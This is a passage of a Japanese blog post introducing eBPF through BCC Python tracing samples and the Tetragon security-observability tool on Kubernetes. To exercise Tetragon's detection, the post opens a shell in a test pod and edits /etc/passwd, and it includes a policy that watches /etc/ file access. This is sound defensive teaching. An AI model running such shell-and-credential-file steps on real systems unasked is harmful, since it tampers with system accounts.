    <category term="GoogleCloud" scheme="https://future-architect.github.io/tags/GoogleCloud/"/>
    <category term="PCSE" scheme="https://future-architect.github.io/tags/PCSE/"/>
    <category term="Udemy" scheme="https://future-architect.github.io/tags/Udemy/"/>
    <category term="合格記" scheme="https://future-architect.github.io/tags/%E5%90%88%E6%A0%BC%E8%A8%98/"/>
  </entry>
  <entry>
    <title>TetragonでeBPFとセキュリティオブサーバビリティ入門</title>
    <link href="https://future-architect.github.io/articles/20230623a/"/>
    <id>https://future-architect.github.io/articles/20230623a/</id>
    <published>2023-06-22T15:00:00.000Z</published>
    <updated>2023-06-22T15:00:00.000Z</updated>
    <author><name>鈴木崇史</name></author>
    <content type="html"><![CDATA[<p>CNCF連載 の4本目です。</p>
<h2 id="はじめに">はじめに</h2><p>数年前にクラウドネイティブ注目技術として挙げられたeBPFにかねてよりキャッチアップしたいなと思っていたので、この連載のタイミングでeBPFとその関連プロダクトに入門してみることにしました。</p>
<p>CNCFプロジェクト傘下のeBPFを活用したプロダクトとしてはCilium, Falcoなどが挙げられます。CiliumはKubernetesなどのクラウドネイティブな環境でネットワーク、オブサーバビリティの機能を提供するOSSなのですが、今回はそのいわばサブプロジェクト的な位置づけのセキュリティツールである、Tetragonに触ってみます。</p>
<p>Cilium, Tetragonの開発をメイン行っているIsovalent社は、書籍やハンズオンラボなどで自社の製品・eBPFについての学習リソースを多く提供しています。</p>
<p>https://isovalent.com/resource-library/books</p>
<p>eBPFを学ぶ書籍はいくつかあると思うのですが、今回ブログを書くにあたってはIsovalentが提供しているeBook、Learning eBPFにざっと目を通しました。</p>
<h2 id="eBPF入門">eBPF入門</h2><p>eBPFとはLinuxカーネル内部で高速安全にプログラムを実行する技術です。これにより、ネットワーキング、セキュリティ、アプリケーションのカーネルレベルでの振る舞いを、カーネルをビルドしなおしたりOSの再起動をしたりせずに動的に観測・制御できます。</p>
<p>eBPFそのものの実態は、カーネルのイベントをトリガーとして動作するプログラムとその実行環境です。基本的にC言語で記述してeBPFのバイトコードにコンパイルされ、eBPFのVMで動きます。eBPFバイトコードはカーネルにロードされる前に検証器にチェックされるようになっており、そのおかげでカーネルをクラッシュさせたり脆弱性のもとになるバグを埋め込まず安全に実行できるようです。</p>
<p>eBPFを使ったツールを開発する場合、eBPFプログラムそのものと、それをカーネルのイベントソースにアタッチしてeBPFとデータをやり取りするユーザスペースのコードを書く必要があります。</p>
<p>実際にeBPFのサンプルプログラムを動かしてみましょう。サンプルプログラムにはBCC (BPF Compiler Collection)という、Python&#x2F;LuaでeBPFを扱うことのできるツールを使います。インストール方法はこちらが参考になります。</p>
<p>次はHello Worldプログラムです。</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/python3  </span></span><br><span class="line"><span class="keyword">from</span> bcc <span class="keyword">import</span> BPF</span><br><span class="line"></span><br><span class="line">program = <span class="string">r&quot;&quot;&quot;  </span></span><br><span class="line"><span class="string">int hello(void *ctx) &#123;</span></span><br><span class="line"><span class="string">    bpf_trace_printk(&quot;Hello World!&quot;);</span></span><br><span class="line"><span class="string">    return 0;</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">b = BPF(text=program)</span><br><span class="line">syscall = b.get_syscall_fnname(<span class="string">&quot;execve&quot;</span>)</span><br><span class="line">b.attach_kprobe(event=syscall, fn_name=<span class="string">&quot;hello&quot;</span>)</span><br><span class="line"></span><br><span class="line">b.trace_print()</span><br></pre></td></tr></table></figure>

<ul>
<li>eBPFプログラムはヒアドキュメントで書かれた部分です。C言語の文法で書かれています。</li>
<li><code>BPF(text=program)</code> でeBPFプログラムを渡してBPFオブジェクトを作っていますが、このタイミングでeBPFプログラムがコンパイルされます。</li>
<li><code>get_syscall_fname(&quot;execve&quot;)</code>で execveシステムコール（実行可能ファイルが実行される時に呼ばれるシステムコール）に対応するカーネル関数を検索します。</li>
<li><code>b.attach_kprobe(event=syscall, fn_name=&quot;hello&quot;)</code> でebpfプログラムを検索したカーネル関数にアタッチします。ここではkprobeという実行中のカーネルに動的に処理を差し込むための仕組みでイベントにアタッチしています。</li>
</ul>
<p>このPythonスクリプトを実行し、別ターミナルで <code>ls</code> コマンドを実行すると、<code>ls</code>が実行される時にexecve()が呼ばれ、それにアタッチされたeBPFプログラムが次のようなトレースを出力します。</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="string">b&#x27;           &lt;...&gt;-2140994 [000] d...1 556700.676560: bpf_trace_printk: Hello World!&#x27;</span></span><br></pre></td></tr></table></figure>

<p>“Hello World” だけでなく、どのようなプロセスがトレースされているのかを表示できるようにしてみましょう。eBPFプログラムの中からプロセス名を取得するために、<code>bpf_get_current_comm()</code>というヘルパー関数を使ってみます。</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/python3  </span></span><br><span class="line"><span class="keyword">from</span> bcc <span class="keyword">import</span> BPF</span><br><span class="line"></span><br><span class="line">program = <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">#include &lt;linux/sched.h&gt;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">int hello(void *ctx) &#123;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    char comm[TASK_COMM_LEN];</span></span><br><span class="line"><span class="string">    bpf_get_current_comm(&amp;comm, sizeof(comm)); </span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    bpf_trace_printk(&quot;%s\\n&quot;, comm);</span></span><br><span class="line"><span class="string">    return 0;</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">b = BPF(text=program)</span><br><span class="line">syscall = b.get_syscall_fnname(<span class="string">&quot;execve&quot;</span>)</span><br><span class="line">b.attach_kprobe(event=syscall, fn_name=<span class="string">&quot;hello&quot;</span>)</span><br><span class="line"></span><br><span class="line">b.trace_print()</span><br></pre></td></tr></table></figure>

<p>このPythonスクリプトを実行した状態で別ターミナルで <code>ls</code> を実行すると、<code>bash</code> から <code>ls</code> が起動したのだということがわかります。</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="string">b&#x27;           &lt;...&gt;-2196911 [000] d...1 567624.022345: bpf_trace_printk: bash&#x27;</span></span><br><span class="line"><span class="string">b&#x27;           &lt;...&gt;-2196912 [002] d...1 567624.380166: bpf_trace_printk: bash&#x27;</span></span><br></pre></td></tr></table></figure>

<p>今までトレースを出力するために <code>bpf_trace_printk</code> という関数を使ってきましたが、これは主にデバッグ目的で使うようなもので、PythonのユーザスペースのプログラムとeBPFプログラムの間で情報をやり取りするには、eBPF mapというデータ構造を使います。<br>eBPF mapとして利用できるデータ構造はいくつかありますが、今回はring bufferを使ってみます。</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/python3  </span></span><br><span class="line"><span class="keyword">from</span> bcc <span class="keyword">import</span> BPF</span><br><span class="line"></span><br><span class="line">program = <span class="string">r&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">BPF_PERF_OUTPUT(output); </span></span><br><span class="line"><span class="string"> </span></span><br><span class="line"><span class="string">struct data_t &#123;     </span></span><br><span class="line"><span class="string">   int pid;</span></span><br><span class="line"><span class="string">   int uid;</span></span><br><span class="line"><span class="string">   char command[16];</span></span><br><span class="line"><span class="string">&#125;;</span></span><br><span class="line"><span class="string"> </span></span><br><span class="line"><span class="string">int hello(void *ctx) &#123;</span></span><br><span class="line"><span class="string">   struct data_t data = &#123;&#125;; </span></span><br><span class="line"><span class="string"> </span></span><br><span class="line"><span class="string">   data.pid = bpf_get_current_pid_tgid() &gt;&gt; 32;</span></span><br><span class="line"><span class="string">   data.uid = bpf_get_current_uid_gid() &amp; 0xFFFFFFFF;</span></span><br><span class="line"><span class="string">   </span></span><br><span class="line"><span class="string">   bpf_get_current_comm(&amp;data.command, sizeof(data.command));</span></span><br><span class="line"><span class="string"> </span></span><br><span class="line"><span class="string">   output.perf_submit(ctx, &amp;data, sizeof(data)); </span></span><br><span class="line"><span class="string"> </span></span><br><span class="line"><span class="string">   return 0;</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">b = BPF(text=program) </span><br><span class="line">syscall = b.get_syscall_fnname(<span class="string">&quot;execve&quot;</span>)</span><br><span class="line">b.attach_kprobe(event=syscall, fn_name=<span class="string">&quot;hello&quot;</span>)</span><br><span class="line"> </span><br><span class="line"><span class="keyword">def</span> <span class="title function_">print_event</span>(<span class="params">cpu, data, size</span>):  </span><br><span class="line">   data = b[<span class="string">&quot;output&quot;</span>].event(data)</span><br><span class="line">   <span class="built_in">print</span>(<span class="string">f&quot;<span class="subst">&#123;data.pid&#125;</span> <span class="subst">&#123;data.uid&#125;</span> <span class="subst">&#123;data.command.decode()&#125;</span>&quot;</span>)</span><br><span class="line"> </span><br><span class="line">b[<span class="string">&quot;output&quot;</span>].open_perf_buffer(print_event) </span><br><span class="line"><span class="keyword">while</span> <span class="literal">True</span>:   </span><br><span class="line">   b.perf_buffer_poll()</span><br></pre></td></tr></table></figure>

<ul>
<li><code>BPF_PERF_OUTPUT</code>の部分がリングバッファーを作成するマクロです。 <code>output</code> という名前で定義されています。</li>
<li><code>bpf_get_current_pid_tgid()</code>  <code>bpf_get_current_uid_gid()</code>  でイベントをトリガーしたプロセスのプロセスID・UIDを取得し、<code>data_t</code>にセットします。<code>output.perf_submit</code>でmapにデータを送ります。</li>
<li><code>print_event()</code> は バッファにデータが届いたときに呼び出されるコールバック関数です。バッファには <code>b[&quot;output&quot;]</code> のようにアクセスできます。</li>
<li><code>b[&quot;output&quot;].open_perf_buffer</code>でコールバック関数を登録しています。</li>
<li><code>b.perf_buffer_poll()</code> でバッファにポーリングしています。</li>
</ul>
<p>このPythonスクリプトを実行し、別ターミナルでコマンドを実行してみます。</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="number">2461142</span> <span class="number">1000</span> bash</span><br><span class="line"><span class="number">2461144</span> <span class="number">1000</span> bash</span><br><span class="line"><span class="number">2461152</span> <span class="number">1000</span> bash</span><br></pre></td></tr></table></figure>

<p>トレースされている情報は先ほどと同じですが、Python側のコードで出力を整えられるので見やすくなっていますね。</p>
<p>BPF mapは複数のeBPFプログラム間のデータのやり取りも可能です。</p>
<p>BCC + Pythonは初心者にとっつきやすいですが、実際にはeBPFのコードを実行時に毎回コンパイルするオーバーヘッドがあるだとか、コンパイルするホストと実行するホストが異なるとその差分に影響されてポータビリティが低いといった理由で、現在ではプロダクトの開発に使われていないみたいです。その代わりCO-RE (Compile Once- Run Everywhere)という仕組みをサポートするライブラリを使って実装されているようです。</p>
<p>ここまでくると次から紹介するTetragonの振る舞いやその設定方法がなんとなく理解できるようになります。</p>
<h2 id="Tetragon">Tetragon</h2><p>TetragonはもともとCilium Enterpriseの機能として提供されていたセキュリティ可観測性ツールで、2022年にOSSとして発表されました。主にKubernetesでの利用が想定されています。</p>
<p>主な機能としては、定義したポリシーに従ってKuberntesクラスター上のコンテナ内で実行されるプロセスのシステムコールやネットワーク関連のイベントをフィルタリングし、ログとして出力するというものです。ポリシーに応じて動的にeBPFプログラムをアタッチし、カーネル空間内で直接フィルタリングしています。</p>
<img fetchpriority="high" src="/images/2023/20230623a/tetragon-2023-06-21-2234.png" alt="tetragon-2023-06-21-2234.png" width="1065" height="637">

<h3 id="プロセス実行の監視">プロセス実行の監視</h3><p>まずはデモを動かしてどういうことができるのか確かめましょう。kindでクラスターを作り、helmでTetragonをインストールします。</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kind create cluster </span><br><span class="line"></span><br><span class="line">helm repo add cilium https://helm.cilium.io</span><br><span class="line">helm repo update</span><br><span class="line">helm install tetragon cilium/tetragon -n kube-system</span><br><span class="line">kubectl rollout status -n kube-system ds/tetragon -w</span><br><span class="line"></span><br><span class="line"><span class="comment"># tetragonがDaemonSetとしてインストールされます。</span></span><br><span class="line">kubectl get ds -n kube-system tetragon</span><br></pre></td></tr></table></figure>

<p>次にセキュリティイベントの観測対象となる実験用のPodを作成しておきます。</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl run <span class="built_in">test</span> --image=busybox -- <span class="built_in">sleep</span> 3600</span><br></pre></td></tr></table></figure>

<p>Tetragonではデフォルトでプロセスの実行に対して検知ログを出すようになっています。例えばコンテナでデバッグ用途以外でシェルが起動しているのはいかにも怪しいですが、そのようなイベントを観測できるということです。</p>
<p>Tetragonのログをtailしながら、別のターミナルから先ほど作ったPodで <code>/bin/sh</code> を動かしてみましょう。</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl logs -f -n kube-system -l app.kubernetes.io/name=tetragon -c export-stdout</span><br><span class="line"></span><br><span class="line"><span class="comment"># 別のターミナルから</span></span><br><span class="line">kubectl <span class="built_in">exec</span> -it <span class="built_in">test</span> -- /bin/sh</span><br></pre></td></tr></table></figure>

<p>Tetragonから以下のようなログが出力されたと思います。長いので途中を省略していますが、”binary” を見ると確かに <code>/bin/sh</code> が実行されていると分かります。そしてPodのMetadataとしてPod名やNamespaceコンテナイメージも出力できています。</p>
<figure class="highlight json"><table><tr><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;process_exec&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;process&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">      <span class="attr">&quot;exec_id&quot;</span><span class="punctuation">:</span> <span class="string">&quot;a2luZC1jb250cm9sLXBsYW5lOjY3NTM5MDg3NTQ3MTA4MToyNTI5NTM3&quot;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;pid&quot;</span><span class="punctuation">:</span> <span class="number">2529537</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;uid&quot;</span><span class="punctuation">:</span> <span class="number">0</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;cwd&quot;</span><span class="punctuation">:</span> <span class="string">&quot;/&quot;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;binary&quot;</span><span class="punctuation">:</span> <span class="string">&quot;/bin/sh&quot;</span><span class="punctuation">,</span></span><br><span class="line">...</span><br><span class="line">      <span class="attr">&quot;pod&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;namespace&quot;</span><span class="punctuation">:</span> <span class="string">&quot;default&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;name&quot;</span><span class="punctuation">:</span> <span class="string">&quot;test&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;container&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">          <span class="attr">&quot;id&quot;</span><span class="punctuation">:</span> <span class="string">&quot;containerd://a78169cb68982bba2925460d3b3c6cbe09788168f67e102acf228037b341b20f&quot;</span><span class="punctuation">,</span></span><br><span class="line">          <span class="attr">&quot;name&quot;</span><span class="punctuation">:</span> <span class="string">&quot;test&quot;</span><span class="punctuation">,</span></span><br><span class="line">          <span class="attr">&quot;image&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">      ...</span><br><span class="line">          <span class="attr">&quot;pid&quot;</span><span class="punctuation">:</span> <span class="number">13</span></span><br><span class="line">        <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;pod_labels&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">          <span class="attr">&quot;run&quot;</span><span class="punctuation">:</span> <span class="string">&quot;test&quot;</span></span><br><span class="line">        <span class="punctuation">&#125;</span></span><br><span class="line">      <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;docker&quot;</span><span class="punctuation">:</span> <span class="string">&quot;a78169cb68982bba2925460d3b3c6cb&quot;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;parent_exec_id&quot;</span><span class="punctuation">:</span> <span class="string">&quot;a2luZC1jb250cm9sLXBsYW5lOjY3NTM5MDgxNzEwOTM3MDoyNTI5NTI4&quot;</span></span><br><span class="line">    <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;parent&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">      <span class="attr">&quot;exec_id&quot;</span><span class="punctuation">:</span> <span class="string">&quot;a2luZC1jb250cm9sLXBsYW5lOjY3NTM5MDgxNzEwOTM3MDoyNTI5NTI4&quot;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;pid&quot;</span><span class="punctuation">:</span> <span class="number">2529528</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;uid&quot;</span><span class="punctuation">:</span> <span class="number">0</span><span class="punctuation">,</span></span><br><span class="line">...</span><br></pre></td></tr></table></figure>

<p>ところで、<code>bpftool</code> というBPFユーティリティツールを使うと、カーネルにロードされたeBPFプログラムをリストできます。Tetragonをインストールしたノード上でリストしてみると、Tetragonをインストールした直後（ロードされた時刻も表示されるのでそこでわかります）にいくつかeBPFプログラムがロードされているようです。</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">bpftool prog <span class="built_in">list</span></span><br><span class="line"></span><br><span class="line">...</span><br><span class="line"><span class="number">20668</span>: kprobe  name event_exit  tag 6ae01771cf3bfcee  gpl</span><br><span class="line">        loaded_at <span class="number">2023</span>-06-04T19:<span class="number">11</span>:<span class="number">54</span>+0900  uid <span class="number">0</span></span><br><span class="line">        xlated 760B  jited 428B  memlock 4096B  map_ids <span class="number">54302</span>,<span class="number">54308</span>,<span class="number">54306</span>,<span class="number">54303</span></span><br><span class="line">        btf_id <span class="number">108378</span></span><br><span class="line"><span class="number">20670</span>: kprobe  name event_wake_up_n  tag 71207899142b2062  gpl</span><br><span class="line">        loaded_at <span class="number">2023</span>-06-04T19:<span class="number">11</span>:<span class="number">54</span>+0900  uid <span class="number">0</span></span><br><span class="line">        xlated 4648B  jited 2467B  memlock 8192B  map_ids <span class="number">54302</span>,<span class="number">54314</span>,<span class="number">54303</span>,<span class="number">54301</span>,<span class="number">54306</span></span><br><span class="line">        btf_id <span class="number">108387</span></span><br><span class="line"><span class="number">20671</span>: tracepoint  name event_execve  tag be83f62b7aed485e  gpl</span><br><span class="line">        loaded_at <span class="number">2023</span>-06-04T19:<span class="number">11</span>:<span class="number">54</span>+0900  uid <span class="number">0</span></span><br><span class="line">        xlated 123200B  jited 75857B  memlock 126976B  map_ids <span class="number">54327</span>,<span class="number">54302</span>,<span class="number">54322</span>,<span class="number">54306</span>,<span class="number">54320</span>,<span class="number">54305</span>,<span class="number">54323</span>,<span class="number">54324</span>,<span class="number">54303</span>,<span class="number">54301</span>,<span class="number">54304</span></span><br><span class="line">        btf_id <span class="number">108396</span></span><br><span class="line"><span class="number">20672</span>: tracepoint  name execve_send  tag 9db3dc5bc0c71d85  gpl</span><br><span class="line">        loaded_at <span class="number">2023</span>-06-04T19:<span class="number">11</span>:<span class="number">54</span>+0900  uid <span class="number">0</span></span><br><span class="line">        xlated 1040B  jited 626B  memlock 4096B  map_ids <span class="number">54327</span>,<span class="number">54302</span>,<span class="number">54324</span>,<span class="number">54303</span>,<span class="number">54306</span></span><br><span class="line">        btf_id <span class="number">108397</span></span><br><span class="line">...</span><br></pre></td></tr></table></figure>

<p>そのうちの1つ、<code>20671: tracepoint  name event_execve  tag be83f62b7aed485e  gpl</code> は、その名前から察するに <code>execve</code> システムコールをトレースしているようです。先ほどのサンプルコードと似ていますね。これらのeBPFプログラムたちがプロセスの起動やexitを監視しているみたいです。</p>
<p>eBPFのソースコードはおそらくこのあたりでしょう。先ほどのサンプルコードと違う部分として、kprobeではなく静的なイベントソースであるTracepointという仕組みにアタッチされていたり、複数のeBPFプログラムが組み合わさっていたりします。</p>
<p>ちなみにTetragonの長いjsonログをパースして必要に応じてフィルタリングして、見やすく表示してくれる <code>tetra</code> というCLIツールがあります。</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl logs -n kube-system -l app.kubernetes.io/name=tetragon -c export-stdout -f | tetra getevents --namespace default  -o compact</span><br><span class="line"></span><br><span class="line">🚀 process default/test /bin/sh</span><br><span class="line">💥 <span class="built_in">exit</span>    default/test /bin/sh  0</span><br></pre></td></tr></table></figure>

<h3 id="ファイルアクセスの監視">ファイルアクセスの監視</h3><p>別のユースケースとして、コンテナ内のファイルアクセスをトレースしてみましょう。コンテナ内のファイルを書き換えることによって例えばWebコンテンツの改竄をすることが可能になるので、そういったイベントは検知するべきです。</p>
<p>Tetragonでは、TracingPolicyというCRDを作成することでトレースしたいカーネル関数を動的に指定できます。ファイルアクセスをトレースしたい場合、その時に呼ばれるカーネル関数やシステムコールをトレースするTracingPolicyを作るということになります。</p>
<p>ここでは <code>/etc/</code> ディレクトリ内のファイルを読み書きしている様子をトレースしてみましょう。Tetragonのexamplesとして提供されているmanifestを使います。</p>
<figure class="highlight yaml"><figcaption><span>sys_write_follow_fd_prefix.yaml</span></figcaption><table><tr><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">cilium.io/v1alpha1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">TracingPolicy</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">&quot;sys-read-follow-prefix&quot;</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">kprobes:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">call:</span> <span class="string">&quot;fd_install&quot;</span></span><br><span class="line">    <span class="attr">syscall:</span> <span class="literal">false</span></span><br><span class="line">    <span class="attr">return:</span> <span class="literal">false</span></span><br><span class="line">    <span class="attr">args:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">index:</span> <span class="number">0</span></span><br><span class="line">      <span class="attr">type:</span> <span class="string">int</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">index:</span> <span class="number">1</span></span><br><span class="line">      <span class="attr">type:</span> <span class="string">&quot;file&quot;</span></span><br><span class="line">    <span class="attr">selectors:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">matchPIDs:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">operator:</span> <span class="string">NotIn</span></span><br><span class="line">        <span class="attr">followForks:</span> <span class="literal">true</span></span><br><span class="line">        <span class="attr">isNamespacePID:</span> <span class="literal">true</span></span><br><span class="line">        <span class="attr">values:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="number">1</span></span><br><span class="line">      <span class="attr">matchArgs:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">index:</span> <span class="number">1</span></span><br><span class="line">        <span class="attr">operator:</span> <span class="string">&quot;Prefix&quot;</span></span><br><span class="line">        <span class="attr">values:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="string">&quot;/etc/&quot;</span></span><br><span class="line">      <span class="attr">matchActions:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">action:</span> <span class="string">FollowFD</span></span><br><span class="line">        <span class="attr">argFd:</span> <span class="number">0</span></span><br><span class="line">        <span class="attr">argName:</span> <span class="number">1</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">call:</span> <span class="string">&quot;sys_close&quot;</span></span><br><span class="line">    <span class="attr">syscall:</span> <span class="literal">true</span></span><br><span class="line">    <span class="attr">args:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">index:</span> <span class="number">0</span></span><br><span class="line">      <span class="attr">type:</span> <span class="string">&quot;int&quot;</span></span><br><span class="line">    <span class="attr">selectors:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">matchActions:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">action:</span> <span class="string">UnfollowFD</span></span><br><span class="line">        <span class="attr">argFd:</span> <span class="number">0</span></span><br><span class="line">        <span class="attr">argName:</span> <span class="number">0</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">call:</span> <span class="string">&quot;sys_read&quot;</span></span><br><span class="line">    <span class="attr">syscall:</span> <span class="literal">true</span></span><br><span class="line">    <span class="attr">args:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">index:</span> <span class="number">0</span></span><br><span class="line">      <span class="attr">type:</span> <span class="string">&quot;fd&quot;</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">index:</span> <span class="number">1</span></span><br><span class="line">      <span class="attr">type:</span> <span class="string">&quot;char_buf&quot;</span></span><br><span class="line">      <span class="attr">returnCopy:</span> <span class="literal">true</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">index:</span> <span class="number">2</span></span><br><span class="line">      <span class="attr">type:</span> <span class="string">&quot;size_t&quot;</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">call:</span> <span class="string">&quot;sys_write&quot;</span></span><br><span class="line">    <span class="attr">syscall:</span> <span class="literal">true</span></span><br><span class="line">    <span class="attr">args:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">index:</span> <span class="number">0</span></span><br><span class="line">      <span class="attr">type:</span> <span class="string">&quot;fd&quot;</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">index:</span> <span class="number">1</span></span><br><span class="line">      <span class="attr">type:</span> <span class="string">&quot;char_buf&quot;</span></span><br><span class="line">      <span class="attr">sizeArgIndex:</span> <span class="number">3</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">index:</span> <span class="number">2</span></span><br><span class="line">      <span class="attr">type:</span> <span class="string">&quot;size_t&quot;</span></span><br></pre></td></tr></table></figure>

<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl apply -f sys_write_follow_fd_prefix.yaml</span><br></pre></td></tr></table></figure>

<p>試しに実験用のPod内で <code>/etc/passwd</code> を編集してみましょう。</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl <span class="built_in">exec</span> -it busybox -- /bin/sh</span><br><span class="line">/ <span class="comment"># vi /etc/passwd</span></span><br></pre></td></tr></table></figure>

<p>Tetragonのログを見るとファイルの <code>open</code> <code>read</code> <code>close</code> をトレースできています。</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">🚀 process default/busybox /bin/vi /etc/passwd</span><br><span class="line">📬 open    default/busybox /bin/vi /etc/passwd</span><br><span class="line">📚 <span class="built_in">read</span>    default/busybox /bin/vi /etc/passwd 340 bytes</span><br><span class="line">📪 close   default/busybox /bin/vi</span><br><span class="line">💥 <span class="built_in">exit</span>    default/busybox /bin/vi /etc/passwd 0</span><br></pre></td></tr></table></figure>

<p><code>/etc/</code> ディレクトリ以外のファイルへの書き込みはトレースされません。なぜなら、eBPFプログラムがトレーシング対象のカーネル関数の引数として渡されるファイル名を取得し、フィルタリングしているからです。</p>
<p>Tracing Policyの内容の詳しく見て行きましょう。一部を取り出してみました。</p>
<figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spec:</span>   </span><br><span class="line">  <span class="attr">kprobes:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">call:</span> <span class="string">&quot;fd_install&quot;</span></span><br><span class="line">    <span class="attr">syscall:</span> <span class="literal">false</span></span><br><span class="line">    <span class="attr">return:</span> <span class="literal">false</span></span><br><span class="line">    <span class="attr">args:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">index:</span> <span class="number">0</span></span><br><span class="line">      <span class="attr">type:</span> <span class="string">int</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">index:</span> <span class="number">1</span></span><br><span class="line">      <span class="attr">type:</span> <span class="string">&quot;file&quot;</span></span><br><span class="line">    <span class="attr">selectors:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">matchPIDs:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">operator:</span> <span class="string">NotIn</span></span><br><span class="line">        <span class="attr">followForks:</span> <span class="literal">true</span></span><br><span class="line">        <span class="attr">isNamespacePID:</span> <span class="literal">true</span></span><br><span class="line">        <span class="attr">values:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="number">1</span></span><br><span class="line">      <span class="attr">matchArgs:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">index:</span> <span class="number">1</span></span><br><span class="line">        <span class="attr">operator:</span> <span class="string">&quot;Prefix&quot;</span></span><br><span class="line">        <span class="attr">values:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="string">&quot;/etc/&quot;</span></span><br><span class="line">      <span class="attr">matchActions:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">action:</span> <span class="string">FollowFD</span></span><br><span class="line">        <span class="attr">argFd:</span> <span class="number">0</span></span><br><span class="line">        <span class="attr">argName:</span> <span class="number">1</span></span><br><span class="line"></span><br></pre></td></tr></table></figure>

<p>kprobeというのは先ほども出てきましたが、カーネルの関数に動的に処理を差し込むための仕組みなのでした。<code>spec.krpobes</code> より下の階層はつぎのような意味です。</p>
<ul>
<li><code>call</code>にはトレース対象のカーネル関数を定義します。今回は<code>fd_install</code>が対象です。この関数はファイルテーブルに新しいファイル記述子を割り当てる関数、、、早い話がファイルオープン時に必ず呼ばれる関数です。この関数にkprobeを使ってeBPFプログラムをアタッチする、ということです。fd_install&#96; の引数の0番目はint型、1番目はfileという構造体であり、これらの引数をトレースに含めます。</li>
